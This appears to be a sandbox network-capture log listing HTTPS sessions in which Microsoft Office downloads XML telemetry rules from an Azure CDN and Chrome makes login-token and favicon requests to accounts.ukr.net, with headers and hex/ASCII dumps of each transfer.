Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:10 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3892a0ce-b01e-003d-5f3a-26d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114910Z-17c5cb586f65j4snyp1hqk5z2s000000037g00000000bcud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49796	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:10 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114910Z-16849878b78nx5sne3fztmu6xc0000000300000000004ux9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49798	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:10 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 1b2fb3ba-201e-0033-65ce-20b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114910Z-16849878b7867ttgfbpnfxt44s00000001r000000000ggcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49800	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:10 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114910Z-16849878b78bjkl8dpep89pbgg00000000pg00000000817e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49801	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:11 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:11 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: b111f092-c01e-0034-5618-242af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114911Z-15b8d89586frzkk2umu6w8qnt80000000hk00000000010dq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:11 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49802	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:11 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a32196a2-e01e-0051-3ed7-2684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114911Z-r197bdfb6b48v72xb403uy6hns00000002h00000000040vn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49803	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:11 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:11 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114911Z-16849878b785dznd7xpawq9gcn000000038g00000000dutf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:11 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49804	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:11 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:11 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114911Z-16849878b78z5q7jpbgf6e9mcw0000000au00000000048z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:11 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49805	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:11 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:11 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114911Z-16849878b78tg5n42kspfr0x4800000001x000000000d1bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:11 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49806	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:11 UTC	817	OUT	POST /api/v1/token/verification/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 9 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:11 UTC	9	OUT	Data Raw: 7b 22 75 69 64 22 3a 30 7d Data Ascii: {"uid":0}
2024-10-26 11:49:11 UTC	179	IN	HTTP/1.1 599 UNKNOWN Server: nginx Date: Sat, 26 Oct 2024 11:49:11 GMT Content-Type: application/json Content-Length: 27 Connection: close X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:11 UTC	27	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 69 6e 76 61 6c 69 64 5f 73 65 73 73 69 6f 6e 22 7d Data Ascii: {"error":"invalid_session"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49807	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:11 UTC	472	OUT	GET /login/favicon.ico HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:11 UTC	334	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:11 GMT Content-Type: image/x-icon Content-Length: 1150 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-47e" Expires: Sat, 09 Nov 2024 11:49:11 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:11 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f ce a1 ab 4e ce a1 fe 4c cb 9e ff 4b ca 9d ff 4a c8 9c ff 48 c6 99 ff 47 c5 98 ff 45 c3 96 ff 44 c2 95 ff 42 c0 93 ff 41 be 92 ff 3f bc 8f ff 3d bb 8e ff 3d ba 8d ff 3b b9 8c fe 38 b7 89 aa 4e ce a1 fe 4f cd a1 ff 4d cc 9f ff 4c ca 9d ff 4b c9 9c ff 49 c7 9a ff 48 c6 99 ff 45 c4 97 ff 44 c2 96 ff 43 c1 94 ff 41 bf 92 ff 40 be 91 ff 3e bc 8f ff 3d ba 8d ff 3b b8 8b ff 3a b8 8b fe 4d c9 9d ff 4e cd a0 ff 4e cd a0 ff 4d cb 9f ff 4b c9 9c ff 4a c8 9b ff 48 c6 99 ff 47 c5 98 ff 45 c3 96 ff 43 c1 94 ff 42 c0 93 ff 41 be 92 ff 3f bc 8f ff 3e bb 8e ff 3c ba 8d ff 34 b4 87 ff 46 Data Ascii: h( ONLKJHGEDBA?==;8NOMLKIHEDCA@>=;:MNNMKJHGECBA?><4F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49808	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:11 UTC	817	OUT	POST /api/v1/token/verification/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 9 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:11 UTC	9	OUT	Data Raw: 7b 22 75 69 64 22 3a 30 7d Data Ascii: {"uid":0}
2024-10-26 11:49:12 UTC	179	IN	HTTP/1.1 599 UNKNOWN Server: nginx Date: Sat, 26 Oct 2024 11:49:11 GMT Content-Type: application/json Content-Length: 27 Connection: close X-Upstream: 4110.10.20.37:5080
2024-10-26 11:49:12 UTC	27	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 69 6e 76 61 6c 69 64 5f 73 65 73 73 69 6f 6e 22 7d Data Ascii: {"error":"invalid_session"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49812	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:12 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:12 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114912Z-16849878b78zqkvcwgr6h55x9n00000001gg0000000025fh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
